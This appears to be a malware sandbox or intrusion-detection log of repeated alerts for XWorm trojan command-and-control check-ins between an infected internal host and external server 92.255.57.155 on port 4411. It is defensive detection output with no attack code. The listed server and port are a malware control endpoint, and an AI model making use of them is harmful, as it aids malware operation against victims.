2024-12-18T08:17:30.275333+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:30.941907+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:31.561427+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:31.811433+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:32.169078+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:32.466178+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:32.657055+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:32.888074+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:33.842355+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:33.985561+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.176810+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.344357+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.369268+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.487532+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.610002+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.772953+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.971946+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:35.814048+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:36.004018+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:36.298214+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:36.489312+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:36.584703+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:39.420306+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:39.613976+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:40.022119+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:40.319555+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:40.627225+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:41.780411+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:42.030027+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:42.654781+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:43.259093+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:45.764249+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:45.923231+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.116234+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.207798+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.427165+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.660408+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.709757+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:47.083075+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:47.905593+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:48.140267+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:48.545135+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:48.833927+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:49.024484+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:49.148943+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:49.842292+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.033438+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.153355+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.319790+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.464309+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.511018+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.849597+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:52.014208+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:52.141800+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:52.325980+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:52.624952+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:52.971915+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:53.042473+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:53.277222+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:53.444801+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:54.639300+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:55.248426+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:55.625013+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:55.913635+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:56.104662+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:56.234945+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:56.335800+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:56.570069+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:56.717128+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:57.998586+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:58.237203+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:58.429825+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:58.663864+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:59.260084+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:59.549193+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:59.967979+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:18:00.158963+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:18:00.324751+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:18:00.350050+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:15:43.392540+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:15:57.163921+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:11.017028+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:24.877591+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:30.407637+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:31.046398+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:31.717077+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:32.038280+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:32.324560+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:33.046685+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:33.649040+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:34.258520+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:34.498083+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:34.871488+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:35.059297+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:35.968475+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:36.204297+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:36.486225+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:36.647151+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:37.057913+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:37.177709+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:37.728261+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:37.972727+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:38.092863+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:38.457944+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:38.650360+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:38.841832+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:38.965834+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:39.637499+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:39.856187+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:40.757913+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:40.949831+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:41.673227+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:41.939616+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:42.342737+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:42.462930+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:42.629844+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:42.817854+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:44.157275+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:44.571175+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:44.733309+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:46.593476+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:47.500355+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:48.169267+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:48.305446+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:48.474790+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:48.595877+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:49.716014+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:50.051995+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:50.327274+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:50.521845+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:50.761244+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:51.121851+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:52.448689+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:52.609713+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:52.729516+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:53.137643+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:53.169297+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:53.851286+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.074535+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.288794+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.409288+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.529084+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.787487+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.949423+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:56.231810+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:56.411401+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:56.646506+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:59.065875+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:59.325992+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:59.669934+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:59.959987+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:00.274717+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:02.390921+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:02.745951+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:03.336704+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:04.485525+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:04.677904+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:05.038138+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:05.740809+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:05.959867+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:06.079475+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:06.253886+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:07.189082+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:07.841124+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:07.994625+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:08.185709+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:08.306108+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:08.469260+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:10.466720+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:11.094026+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:11.739685+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:11.989162+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:12.108948+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:12.561707+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:13.045901+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:14.118072+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:14.423615+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:14.712226+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:14.880010+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:15.005981+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:15.095064+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:15.170188+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:16.302013+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:16.541494+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:16.661126+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:16.822011+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:16.941621+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:17.684865+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:17.900676+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:18.020432+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:18.240441+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:18.299374+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:18.405983+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:19.251664+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:19.850480+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.089696+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.502020+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.651923+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.817124+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.940927+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:21.102061+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.093023+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.334060+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.456582+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.757469+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.888430+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:23.050075+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:23.740260+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:23.941869+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:25.205185+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:25.421278+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:27.757989+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:27.952931+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:28.184904+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:28.304628+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:28.827348+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:29.007625+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:29.127280+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:29.257997+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:29.664861+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:30.168343+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:30.275492+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:30.969041+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:31.562417+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:31.825731+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
